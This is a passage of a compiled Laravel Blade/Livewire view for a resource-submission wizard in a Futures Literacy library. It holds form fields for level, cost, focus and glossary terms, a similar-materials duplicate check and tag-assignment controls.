                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($bookCoverResult['isbn']): ?> <p class="text-slate-400 text-xs">ISBN <?php echo e($bookCoverResult['isbn']); ?></p> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                    </div>
                                    <button
                                        type="button"
                                        wire:click="applyBookCover"
                                        class="px-3 py-1.5 rounded-md bg-green-600 text-white text-sm font-medium hover:bg-green-700"
                                    >
                                        Use this cover
                                    </button>
                                </div>
                            <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($thumbnailUrl && str_contains($thumbnailUrl, 'book_')): ?>
                            <p class="text-xs text-green-700 font-medium">βœ“ Cover saved</p>
                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                    </div>
                    <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                    
                    <div class="grid grid-cols-2 gap-4">
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1">
                                Level <span class="text-red-500">*</span>
                                <?php if (isset($component)) { $__componentOriginal10660d445c8cc41f903c590848e68067 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal10660d445c8cc41f903c590848e68067 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.info-tip','data' => ['text' => 'Who is this material best suited for? Helps learners find resources appropriate to their background.']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('info-tip'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['text' => 'Who is this material best suited for? Helps learners find resources appropriate to their background.']); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>

<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $attributes = $__attributesOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__attributesOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $component = $__componentOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__componentOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
                            </label>
                            <select wire:model="level" class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500">
                                <option value="">β€” not specified β€”</option>
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $levels; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                    <option value="<?php echo e($key); ?>"><?php echo e($label); ?></option>
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                            </select>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1">
                                Cost <span class="text-red-500">*</span>
                                <?php if (isset($component)) { $__componentOriginal10660d445c8cc41f903c590848e68067 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal10660d445c8cc41f903c590848e68067 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.info-tip','data' => ['text' => 'Is this resource freely accessible, or does it require a payment or subscription?']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('info-tip'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['text' => 'Is this resource freely accessible, or does it require a payment or subscription?']); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>

<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $attributes = $__attributesOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__attributesOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $component = $__componentOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__componentOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
                            </label>
                            <select wire:model="cost" class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500">
                                <option value="">β€” not specified β€”</option>
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $costs; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                    <option value="<?php echo e($key); ?>"><?php echo e($label); ?></option>
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                            </select>
                        </div>
                    </div>

                    
                    <div>
                        <label class="block text-sm font-medium text-slate-700 mb-2">
                            Focus <span class="text-red-500">*</span> <span class="text-slate-400 font-normal">(select all that apply)</span>
                            <?php if (isset($component)) { $__componentOriginal10660d445c8cc41f903c590848e68067 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal10660d445c8cc41f903c590848e68067 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.info-tip','data' => ['text' => 'Which dimension does this material focus on? Select all that apply β€” a resource can address multiple focus areas.']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('info-tip'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['text' => 'Which dimension does this material focus on? Select all that apply β€” a resource can address multiple focus areas.']); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>

<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $attributes = $__attributesOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__attributesOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $component = $__componentOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__componentOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
                        </label>
                        <div class="flex flex-wrap gap-2">
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $ebenen; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                <label class="inline-flex items-center gap-1.5 cursor-pointer">
                                    <input
                                        type="checkbox"
                                        wire:model="ebene"
                                        value="<?php echo e($key); ?>"
                                        class="rounded border-slate-300 text-navy-600 focus:ring-navy-500"
                                    >
                                    <span class="text-sm text-slate-700"><?php echo e($label); ?></span>
                                </label>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                        </div>
                    </div>

                    
                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(count($glossaryTerms) > 0): ?>
                    <div>
                        <label class="block text-sm font-medium text-slate-700 mb-2">
                            Glossary terms <span class="text-slate-400 font-normal">(connects this material to the Futures Glossary)</span>
                            <?php if (isset($component)) { $__componentOriginal10660d445c8cc41f903c590848e68067 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal10660d445c8cc41f903c590848e68067 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.info-tip','data' => ['text' => 'Link this material to relevant concepts in the Futures Literacy glossary. This creates connections in the knowledge graph.']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('info-tip'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['text' => 'Link this material to relevant concepts in the Futures Literacy glossary. This creates connections in the knowledge graph.']); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>

<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $attributes = $__attributesOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__attributesOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $component = $__componentOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__componentOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
                        </label>
                        <div class="flex flex-wrap gap-2">
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $glossaryTerms; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $term): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                <?php $isSelected = collect($selectedGlossaryTerms)->pluck('slug')->contains($term['slug']); ?>
                                <button
                                    type="button"
                                    wire:click="toggleGlossaryTerm('<?php echo e($term['slug']); ?>', <?php echo \Illuminate\Support\Js::from($term['title'])->toHtml() ?>)"
                                    class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium border transition-colors
                                        <?php echo e($isSelected
                                            ? 'bg-navy-600 border-navy-600 text-white'
                                            : 'bg-white border-slate-300 text-slate-700 hover:border-navy-400'); ?>"
                                >
                                    <?php echo e($term['title']); ?>

                                </button>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                        </div>
                    </div>
                    <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                    
                    <div>
                        <label for="description" class="block text-sm font-medium text-slate-700 mb-1">Description</label>
                        <textarea
                            wire:model="description"
                            id="description"
                            rows="4"
                            class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
                            placeholder="What's it about? Why is it relevant for Futures Literacy?"
                        ></textarea>
                    </div>

                    
                    <div class="flex items-center justify-between pt-4 border-t">
                        <button wire:click="previousStep" class="text-slate-500 hover:text-slate-700 font-medium">
                            ← Back
                        </button>
                        <button
                            wire:click="nextStep"
                            class="inline-flex items-center gap-2 rounded-lg bg-navy-600 px-6 py-2.5 text-sm font-semibold text-white shadow-sm hover:bg-navy-500"
                        >
                            Next: Connections
                            <svg class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7" />
                            </svg>
                        </button>
                    </div>
                </div>
            </div>
        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

        
        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($step === 3): ?>
            <div class="space-y-6">
                
                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(count($similarMaterials) > 0): ?>
                    <div class="bg-white rounded-2xl shadow-xl p-6">
                        <div class="flex items-center gap-3 mb-4">
                            <span class="flex h-10 w-10 items-center justify-center rounded-full bg-amber-100 text-amber-600">
                                <svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z" />
                                </svg>
                            </span>
                            <div>
                                <h2 class="text-lg font-semibold text-slate-900">Similar Materials Found</h2>
                                <p class="text-sm text-slate-500">These sources may be related</p>
                            </div>
                        </div>

                        <div class="space-y-3">
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $similarMaterials; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $similar): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                <div class="flex items-center gap-4 p-4 rounded-lg transition-colors <?php echo e($similar['score'] >= 60 ? 'bg-red-50 border border-red-200' : 'bg-slate-50 hover:bg-slate-100'); ?>">
                                    <span class="text-2xl">
                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php switch($similar['type']):
                                            case ('book'): ?> πŸ“š <?php break; ?>
                                            <?php case ('article'): ?> πŸ“„ <?php break; ?>
                                            <?php case ('chapter'): ?> πŸ“‘ <?php break; ?>
                                            <?php case ('podcast'): ?> 🎧 <?php break; ?>
                                            <?php case ('video'): ?> 🎬 <?php break; ?>
                                            <?php case ('course'): ?> πŸŽ“ <?php break; ?>
                                            <?php case ('website'): ?> 🌐 <?php break; ?>
                                            <?php default: ?> πŸ”—
                                        <?php endswitch; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                    </span>
                                    <div class="flex-1 min-w-0">
                                        <p class="font-medium text-slate-900 truncate"><?php echo e($similar['title']); ?></p>
                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($similar['author']): ?>
                                            <p class="text-sm text-slate-500"><?php echo e($similar['author']); ?></p>
                                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(count($similar['tags']) > 0): ?>
                                            <div class="flex flex-wrap gap-1 mt-1">
                                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = array_slice($similar['tags'], 0, 3); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                                    <span class="inline-flex px-2 py-0.5 rounded text-xs text-white" style="background-color: <?php echo e($tag['color']); ?>">
                                                        <?php echo e($tag['name']); ?>

                                                    </span>
                                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                                            </div>
                                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                    </div>
                                    <div class="flex items-center gap-3">
                                        <span class="text-sm font-medium <?php echo e($similar['score'] >= 60 ? 'text-red-600' : 'text-slate-400'); ?>">
                                            <?php echo e($similar['score'] >= 60 ? 'Possible duplicate!' : $similar['score'] . '% similar'); ?>

                                        </span>
                                        <button
                                            wire:click="copyTagsFromMaterial(<?php echo e($similar['id']); ?>)"
                                            class="text-sm text-navy-600 hover:text-navy-800 font-medium whitespace-nowrap"
                                        >
                                            Copy tags
                                        </button>
                                    </div>
                                </div>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                        </div>
                    </div>
                <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                
                <div class="bg-white rounded-2xl shadow-xl p-6">
                    <div class="flex items-center gap-3 mb-4">
                        <span class="flex h-10 w-10 items-center justify-center rounded-full bg-navy-100 text-navy-600">
                            <svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 7h.01M7 3h5c.512 0 1.024.195 1.414.586l7 7a2 2 0 010 2.828l-7 7a2 2 0 01-2.828 0l-7-7A1.994 1.994 0 013 12V7a4 4 0 014-4z" />
                            </svg>
                        </span>
                        <div>
                            <h2 class="text-lg font-semibold text-slate-900">Assign Tags</h2>
                            <p class="text-sm text-slate-500">Suggestions based on content</p>
                        </div>
                    </div>

                    
                    <div
                        x-data="{
                            selected: <?php echo \Illuminate\Support\Js::from($selectedTags)->toHtml() ?>,
                            colors: <?php echo \Illuminate\Support\Js::from(collect($tagCategories)->flatMap->tags->concat(collect($suggestedTags))->mapWithKeys(fn($t) => is_array($t) ? [$t['id'] => $t['color']] : [$t->id => $t->color])->all())->toHtml() ?>,
                            toggle(id) {
                                const idx = this.selected.indexOf(id);
                                if (idx === -1) this.selected.push(id);
                                else this.selected.splice(idx, 1);
                                $wire.set('selectedTags', this.selected, false);
                            },
                            isSelected(id) { return this.selected.includes(id); }
                        }"
                    >

                    
                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(count($suggestedTags) > 0): ?>
                        <div class="mb-6">
                            <h3 class="text-sm font-medium text-slate-700 mb-3">Suggested Tags</h3>
                            <div class="flex flex-wrap gap-2">
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $suggestedTags; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                    <button
                                        type="button"
                                        @click="toggle(<?php echo e($tag['id']); ?>)"
                                        :class="isSelected(<?php echo e($tag['id']); ?>) ? 'text-white shadow-md scale-105' : 'bg-slate-100 text-slate-600 hover:bg-slate-200'"
                                        :style="isSelected(<?php echo e($tag['id']); ?>) ? 'background-color: <?php echo e($tag['color']); ?>' : ''"
                                        class="inline-flex items-center gap-1.5 px-3 py-1.5 rounded-full text-sm font-medium transition-all"
                                    >
                                        <?php echo e($tag['name']); ?>

                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($tag['confidence'] >= 70): ?>
                                            <span class="text-xs opacity-75">✨</span>
                                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                    </button>
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                            </div>
                        </div>
                    <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                    
                    <div class="border-t pt-4">
                        <h3 class="text-sm font-medium text-slate-700 mb-3">All Tags</h3>
                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $tagCategories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $category): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                            <div class="mb-4">
                                <p class="text-xs font-medium text-slate-500 uppercase tracking-wide mb-2"><?php echo e($category->name); ?></p>
                                <div class="flex flex-wrap gap-2">
                                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $category->tags; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                        <button
                                            type="button"
                                            @click="toggle(<?php echo e($tag->id); ?>)"
                                            :class="isSelected(<?php echo e($tag->id); ?>) ? 'text-white' : 'bg-slate-100 text-slate-600 hover:bg-slate-200'"
                                            :style="isSelected(<?php echo e($tag->id); ?>) ? 'background-color: <?php echo e($tag->color); ?>' : ''"
                                            class="inline-flex items-center px-2.5 py-1 rounded-full text-xs font-medium transition-all"
                                        >
                                            <?php echo e($tag->name); ?>

                                        </button>
                                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                                </div>
                            </div>
                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>

                        
                        <div class="mt-4 pt-4 border-t">
                            <div class="flex gap-2">
                                <input
                                    wire:model.live="newTagName"
